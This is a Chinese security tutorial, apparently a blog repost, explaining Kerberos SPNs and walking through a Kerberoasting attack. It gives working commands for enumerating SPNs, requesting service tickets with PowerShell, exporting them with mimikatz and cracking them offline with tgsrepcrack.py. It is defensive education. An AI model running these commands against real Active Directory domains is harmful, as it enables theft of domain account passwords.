安全技术 | 域渗透之SPN
点击上方蓝字关注我们
Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。在内网中,SPN扫描通过查询向域控服务器执行服务发现,可以识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是Kerberoasting攻击的第一步。本文由锦行科技的安全研究团队提供,旨在通过对SPN进行介绍,帮助大家深入了解Kerberoasting攻击过程以应对该种攻击。
SPN
SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。
SPN分为两种类型:
1.一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
2.一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
SQLServer在每次启动的时候,都会去尝试用自己的启动账号注册SPN
在Windows域里,默认普通机器账号有权注册SPN:
域:test.com
机器名:W10b
域机器账号(system)
(手动注册)成功注册
普通域用户账号是没有权注册SPN:
域:test.com
机器名:W10b
普通域用户:test\fw
(手动注册)权限不够
这就会导致这样一个现象,SQL Server如果使用“Local System account”来启动,Kerberos就能够成功,因为SQL Server这时可以在DC上注册SPN。如果用一个普通域用户来启动,Kerberos就不能成功,因为这时SPN注册不上去。
在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限
勾上serverPrincipalName的读写权限:
再次使用普通域用户注册,成功注册
Kerberoasting攻击
域内的任何一台主机用户或普通域用户,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。
发现SPN
Setspn -Q */*
请求SPN
(powershell)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlsrv.test.com:1433"
导出票据
mimikatz # kerberos::list /export
破解票据
https://github.com/nidem/kerberoast
python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"
如果得到的是一个有权注册SPN的域账号,也可以通过手动注册的方式来进行Kerberoasting攻击。
致力于成为最值得信赖的网络安全企业
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 奋力打开改革发展新天地 7905374
- 2 36岁女子看高血压查出怀孕34周 7956386
- 3 日本火山喷发灰柱高达3400米 7848886
- 4 “冷资源”里的“热经济” 7791149
- 5 刘诗诗方辟谣离婚 7635387
- 6 女子8年生6个女儿第7胎再产女 7532184
- 7 #胡锡进的2024年终总结# 7464593
- 8 肖战新片射雕英雄传郭靖造型曝光 7353896
- 9 男子驾车冲撞小学生被判死缓 7295566
- 10 蒋欣生图更是妈妈级别 7122257